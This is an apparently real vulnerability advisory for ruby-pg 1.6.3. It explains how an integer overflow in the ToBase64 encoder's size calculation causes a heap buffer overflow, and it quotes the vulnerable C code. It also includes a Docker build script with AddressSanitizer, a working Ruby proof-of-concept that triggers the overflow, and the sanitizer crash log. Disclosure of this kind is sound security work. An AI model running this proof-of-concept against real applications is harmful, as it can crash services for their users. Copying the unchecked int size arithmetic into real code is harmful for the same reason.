DFVULN-792: Integer Overflow in `PG::TextEncoder::ToBase64` Causes Heap Buffer Overflow

[larskanis]

Summary

PG::TextEncoder::ToBase64 trusts int byte counts returned by nested encoders. A large bytea value overflows the size calculation, allocates an undersized Ruby string, and the second encoder pass writes past the heap buffer.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

The bytea encoder computes its output size in int units, even though RSTRING_LENINT is derived from an attacker-controlled Ruby string length.

/* The output starts with "\x" and each character is converted to hex. */
return 2 + RSTRING_LENINT(*intermediate) * 2;

ext/pg_text_encoder.c:434

ToBase64 then bases its allocation on that wrapped int length.

strlen = enc_func(this->elem, value, NULL, &subint, enc_idx);
...
return BASE64_ENCODED_SIZE(strlen);

ext/pg_text_encoder.c:792

pg_coder_encode allocates exactly the reported length and calls the encoder again with that buffer.

len = this->enc_func( this, value, NULL, &intermediate, enc_idx );
...
res = rb_str_new(NULL, len);
...
len2 = this->enc_func( this, value, RSTRING_PTR(res), &intermediate, enc_idx );

ext/pg_coder.c:202

The second bytea pass writes two hex bytes per input byte and overruns the undersized allocation.

*optr++ = '\\';
*optr++ = 'x';
...
*optr++ = hextab[c >> 4];
*optr++ = hextab[c & 0xf];

ext/pg_text_encoder.c:423

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-792 && cp poc.rb dfvuln-792/ && cd dfvuln-792
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==3515==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
    #0 0xffff7cb891d8 in pg_text_enc_bytea /tmp/src/ext/pg_text_encoder.c:429
    #1 0xffff7cb8b208 in pg_text_enc_to_base64 /tmp/src/ext/pg_text_encoder.c:786
    #2 0xffff7cb5d574 in pg_coder_encode /tmp/src/ext/pg_coder.c:211
0xffff1a3fcd59 is located 0 bytes to the right of 1431655769-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_text_encoder.c:429 in pg_text_enc_bytea

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true

def i32(x)
  x &= 0xffff_ffff
  x >= 0x8000_0000 ? x - 0x1_0000_0000 : x
end

def cdiv(a, b)
  a < 0 ? -((-a) / b) : a / b
end

require "pg"

n = 1_073_741_822
bytea_len = 2 + n * 2
wrapped = i32(cdiv(i32(bytea_len + 2), 3) * 4)

puts "input_len=#{n}"
puts "bytea_first_pass_len=#{bytea_len}"
puts "wrapped_base64_len=#{wrapped}"
puts "starting_encode"

data = "A".b * n
enc = PG::TextEncoder::ToBase64.new(
  elements_type: PG::TextEncoder::Bytea.new
)
enc.encode(data)

Security Impact

This is a heap buffer overflow during local value encoding. Applications that encode very large attacker-controlled values through this encoder can crash the Ruby process.

Credit

Zheng Yu from depthfirst (depthfirst.com)